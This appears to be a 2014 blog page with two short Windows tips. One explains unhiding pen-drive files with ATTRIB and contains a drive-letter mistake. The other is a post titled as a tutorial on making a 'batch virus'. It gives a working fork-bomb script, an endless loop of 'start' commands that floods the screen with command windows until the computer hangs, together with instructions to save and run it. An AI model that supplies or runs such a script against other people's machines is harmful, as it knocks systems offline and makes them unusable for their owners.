Saturday, 30 August 2014

How to recover Hidden item from PD

How to Recover Hidden item from Pen Drive

Some time it happens  that your pen drive showing space full but there is no item showing in it.
It happens just because of virus problem .They convert your file attribute and make them hidden.

  • You can see your hidden file by Folder and search option window

  • But in some cases files still not visible because virus convert them as SYSTEM FILE.
  • To access these file you can use these commands:
  1. Open Command prompt
  2. Go to that drive using Drive Letter : i.e if your pen drive is showing J drive then command is Z:
  3. Execute following command:

                                                    ATTRIB -H -S FILENAME



Note: If you don't know file name then you can search them by using TAB.


Explanation:


ATTRIB : This command is used to change attribute of a file/folder
+ or - H: add or remove hidden attribute.
+ or - S : add or remove in system file




You can use this method to hide your file so that No one can view your personal files and folders.





Friday, 29 August 2014

Virus-Creating a simple Batch virus to hang your computer.

Creating A Simple virus through Batch file

Batch programming is a powerful programming to create different viruses by using simple DOS commands.
Here I am showing you how to create a simple virus using batch file.

  • Open notepad
  • Write following code in it-

                     @echo off
                       : Loop
                       Start
                       echo OS not found !!!!!!!!!
                       goto Loop

  • Save this text file with ".Bat" extension
  • Run .Bat file
  • When you run this file many command prompt appears one after another and your computer get hanged.

Explanation:


In this batch file we just use simple commands which are explained below-

@echo off : This command hide your prompt i.e C:\> will not appear on cmd screen.

:loop : It is a label,you can replace it with another word like your name :)

Start : This command is used to open new CMD screen.

echo : You can give your message through echo command.

goto: Goto command is a jump command which move your execution on given lable.

So in this programming we just open cmd screen many times by executing Start command many times.